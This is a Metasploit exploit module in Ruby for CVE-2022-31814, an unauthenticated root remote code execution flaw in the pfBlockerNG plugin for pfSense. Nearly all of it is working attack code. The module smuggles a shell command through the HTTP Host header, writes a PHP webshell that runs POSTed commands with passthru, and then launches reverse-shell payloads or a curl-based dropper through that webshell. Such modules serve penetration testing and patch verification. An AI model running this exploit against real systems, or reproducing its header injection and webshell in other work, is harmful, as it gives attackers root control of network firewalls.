168 lines
5.3 KiB
Ruby
168 lines
5.3 KiB
Ruby
##
|
||
# This module requires Metasploit: https://metasploit.com/download
|
||
# Current source: https://github.com/rapid7/metasploit-framework
|
||
##
|
||
|
||
class MetasploitModule < Msf::Exploit::Remote
|
||
Rank = GreatRanking
|
||
|
||
include Msf::Exploit::Remote::HttpClient
|
||
include Msf::Exploit::CmdStager
|
||
include Msf::Exploit::FileDropper
|
||
|
||
prepend Msf::Exploit::Remote::AutoCheck
|
||
|
||
def initialize(info = {})
|
||
super(
|
||
update_info(
|
||
info,
|
||
'Name' => 'pfSense plugin pfBlockerNG unauthenticated RCE as root',
|
||
'Description' => %q{
|
||
pfBlockerNG is a popular pfSense plugin that is not installed by default. It’s generally used to
|
||
block inbound connections from whole countries or IP ranges. Versions 2.1.4_26 and below are affected
|
||
by an unauthenticated RCE vulnerability that results in root access. Note that version 3.x is unaffected.
|
||
},
|
||
'Author' => [
|
||
'IHTeam', # discovery
|
||
'jheysel-r7' # module
|
||
],
|
||
'References' => [
|
||
[ 'CVE', '2022-31814' ],
|
||
[ 'URL', 'https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/'],
|
||
[ 'EDB', '51032' ]
|
||
],
|
||
'License' => MSF_LICENSE,
|
||
'Platform' => 'unix',
|
||
'Privileged' => false,
|
||
'Arch' => [ ARCH_CMD ],
|
||
'Targets' => [
|
||
[
|
||
'Unix Command',
|
||
{
|
||
'Platform' => 'unix',
|
||
'Arch' => ARCH_CMD,
|
||
'Type' => :unix_cmd,
|
||
'DefaultOptions' => {
|
||
'PAYLOAD' => 'cmd/unix/reverse_openssl'
|
||
}
|
||
}
|
||
],
|
||
[
|
||
'BSD Dropper',
|
||
{
|
||
'Platform' => 'bsd',
|
||
'Arch' => [ARCH_X64],
|
||
'Type' => :bsd_dropper,
|
||
'CmdStagerFlavor' => [ 'curl' ],
|
||
'DefaultOptions' => {
|
||
'PAYLOAD' => 'bsd/x64/shell_reverse_tcp'
|
||
}
|
||
}
|
||
]
|
||
],
|
||
'DefaultTarget' => 1,
|
||
'DisclosureDate' => '2022-09-05',
|
||
'DefaultOptions' => {
|
||
'SSL' => true,
|
||
'RPORT' => 443
|
||
},
|
||
'Notes' => {
|
||
'Stability' => [ CRASH_SERVICE_DOWN ],
|
||
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
|
||
'Reliability' => [ REPEATABLE_SESSION, ]
|
||
}
|
||
)
|
||
)
|
||
|
||
register_options(
|
||
[
|
||
OptString.new('WEBSHELL_NAME', [
|
||
false, 'The name of the uploaded webshell sans the ".php" ending. This value will be randomly generated if left unset.', nil
|
||
])
|
||
]
|
||
)
|
||
end
|
||
|
||
def upload_shell
|
||
print_status 'Uploading shell...'
|
||
if datastore['WEBSHELL_NAME'].blank?
|
||
@webshell_name = "#{Rex::Text.rand_text_alpha(8..16)}.php"
|
||
else
|
||
@webshell_name = "#{datastore['WEBSHELL_NAME']}.php"
|
||
end
|
||
@parameter_name = Rex::Text.rand_text_alpha(4..12)
|
||
print_status("Webshell name is: #{@webshell_name}")
|
||
web_shell_contents = <<~EOF
|
||
<?php echo file_put_contents('/usr/local/www/#{@webshell_name}','<?php echo(passthru($_POST["#{@parameter_name}"]));');
|
||
EOF
|
||
encoded_php = web_shell_contents.unpack('H*')[0].upcase
|
||
send_request_raw(
|
||
'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'),
|
||
'headers' => {
|
||
'Host' => "' *; echo '16i #{encoded_php} P' | dc | php; '"
|
||
}
|
||
)
|
||
sleep datastore['WfsDelay']
|
||
register_file_for_cleanup("/usr/local/www/#{@webshell_name}")
|
||
end
|
||
|
||
def check
|
||
test_file_name = Rex::Text.rand_text_alpha(4..12)
|
||
test_file_content = Rex::Text.rand_text_alpha(4..12)
|
||
test_injection = <<~EOF
|
||
<?php echo file_put_contents('/usr/local/www/#{test_file_name}','#{test_file_content}');
|
||
EOF
|
||
encoded_php = test_injection.unpack('H*')[0].upcase
|
||
send_request_raw(
|
||
'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'),
|
||
'headers' => {
|
||
'Host' => "' *; echo '16i #{encoded_php} P' | dc | php; '"
|
||
}
|
||
)
|
||
sleep datastore['WfsDelay']
|
||
|
||
check_resp = send_request_cgi(
|
||
'method' => 'GET',
|
||
'uri' => normalize_uri(target_uri.path, "/#{test_file_name}")
|
||
)
|
||
return Exploit::CheckCode::Safe('Error uploading shell, the system is likely patched.') if check_resp.nil? || !check_resp.code == 200 || !check_resp.body.include?(test_file_content)
|
||
|
||
# Clean up test webshell "/usr/local/www/#{test_file_name}"
|
||
clean_up_injection = <<~EOF
|
||
<?php echo unlink('/usr/local/www/#{test_file_name}');
|
||
EOF
|
||
encoded_clean_up = clean_up_injection.unpack('H*')[0].upcase
|
||
send_request_raw(
|
||
'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'),
|
||
'headers' => {
|
||
'Host' => "' *; echo '16i #{encoded_clean_up} P' | dc | php; '"
|
||
}
|
||
)
|
||
Exploit::CheckCode::Vulnerable
|
||
end
|
||
|
||
def execute_command(cmd, _opts = {})
|
||
send_request_cgi({
|
||
'method' => 'POST',
|
||
'uri' => normalize_uri(target_uri.path, @webshell_name),
|
||
'headers' => {
|
||
'Content-Encoding' => 'application/x-www-form-urlencoded; charset=UTF-8'
|
||
},
|
||
'vars_post' => {
|
||
@parameter_name.to_s => cmd
|
||
}
|
||
})
|
||
end
|
||
|
||
def exploit
|
||
upload_shell
|
||
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
|
||
case target['Type']
|
||
when :unix_cmd
|
||
execute_command(payload.encoded)
|
||
when :bsd_dropper
|
||
execute_cmdstager
|
||
end
|
||
end
|
||
end
|